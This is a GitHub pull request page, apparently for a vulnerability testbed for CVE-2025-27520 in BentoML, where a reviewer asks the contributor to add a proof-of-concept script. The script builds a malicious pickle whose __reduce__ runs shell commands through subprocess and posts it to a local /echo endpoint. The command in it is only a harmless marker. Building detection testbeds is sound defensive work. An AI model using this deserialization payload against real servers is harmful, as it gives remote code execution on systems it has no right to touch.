Skip to content

templated/CVE-2025-27520 - #290

Open
dyeddala wants to merge 1 commit into
google:mainfrom
dyeddala:feature/CVE-2025-27520
Open

dyeddala wants to merge 1 commit into
google:mainfrom
dyeddala:feature/CVE-2025-27520

Conversation

@dyeddala

Copy link
Copy Markdown
Contributor

Please review.

@robert-doyensec

robert-doyensec commented Nov 12, 2026 •

Copy link
Copy Markdown
Contributor

Hi @dyeddala , could you please add this python script somewhere in the testbed?

import pickle
import os
import requests
from pydantic import ValidationError

headers = {'Content-Type': 'application/vnd.bentoml+pickle'}

class Evil:
    def __reduce__(self):
        code = "from pydantic import ValidationError\nraise ValidationError(__import__('subprocess').check_output('printf %x 133713371337', shell=True), [])"
        return (exec, (code,))

payload = pickle.dumps({"output": Evil()}, 0)

print(payload)

res = requests.post("http://localhost:8080/echo", data=payload, headers=headers)
print(res.text)

and please modify the instructions to include running it (maybe a CLI arg for the port is better so that the vulnerable and safe versions could be tested more easily).

@dyeddala
dyeddala force-pushed the feature/CVE-2025-27520 branch from 90c8d66 to 5245b00 Compare November 12, 2026 15:53
@dyeddala

Copy link
Copy Markdown
Contributor Author

Addressed.As per the comments.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

2 participants